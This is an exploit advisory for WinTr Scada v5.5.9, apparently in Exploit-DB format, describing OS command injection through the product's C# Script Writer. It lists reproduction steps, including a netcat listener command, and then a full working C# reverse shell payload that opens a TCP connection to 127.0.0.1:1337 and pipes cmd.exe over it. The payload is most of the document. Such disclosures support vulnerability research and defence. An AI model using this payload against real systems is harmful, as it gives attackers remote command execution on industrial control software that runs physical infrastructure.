Exploit Title: WinTr Scada v5.5.9 - OS Command Injection

Discovered by: Ahmet Ümit BAYRAM

Discovered Date: 17.04.2024

Vendor Homepage: http://www.wintr.com.tr

Software Link: https://www.fultek.com.tr/Download/WinTrScadaSQL2014x32.zip

Tested Version: v5.5.9 (latest)

Tested on: Windows 10 32bit

Steps to Reproduce

Set up a listener on your machine with nc.exe -vv -l -p 1337.
Open WinTr Scada and click on New Project.
Click Yes to save the project.
Close the window that opens after saving.
Go to Script Writer.
Select CSharp from the top menu.
Paste the payload below and click on Script Test and Run.
Your reverse shell should now connect to the listener.

Payload

The following C# payload initiates a reverse shell connection to a specified IP and port (in this example, 127.0.0.1:1337).

```csharp using System; using System.IO; using System.Diagnostics; using System.Net.Sockets; using System.Text;

namespace WinTr { class MainClass { StreamWriter streamWriter;

    public void Load()
    {
        try
        {
            TcpClient client = new TcpClient("127.0.0.1", 1337);
            Stream stream = client.GetStream();
            StreamReader rdr = new StreamReader(stream);
            streamWriter = new StreamWriter(stream);

            StringBuilder strInput = new StringBuilder();

            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;

            p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
            p.Start();
            p.BeginOutputReadLine();

            while (true)
            {
                strInput.Append(rdr.ReadLine());
                p.StandardInput.WriteLine(strInput.ToString());
                strInput.Remove(0, strInput.Length);
            }

            rdr.Close();
            stream.Close();
            client.Close();
        }
        catch (Exception ex)
        {
            Console.WriteLine("An error occurred: " + ex.Message);
        }
    }

    private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                streamWriter.WriteLine(outLine.Data);
                streamWriter.Flush();
            }
            catch (Exception err)
            {
                // Handle or log the error
            }
        }
    }
} }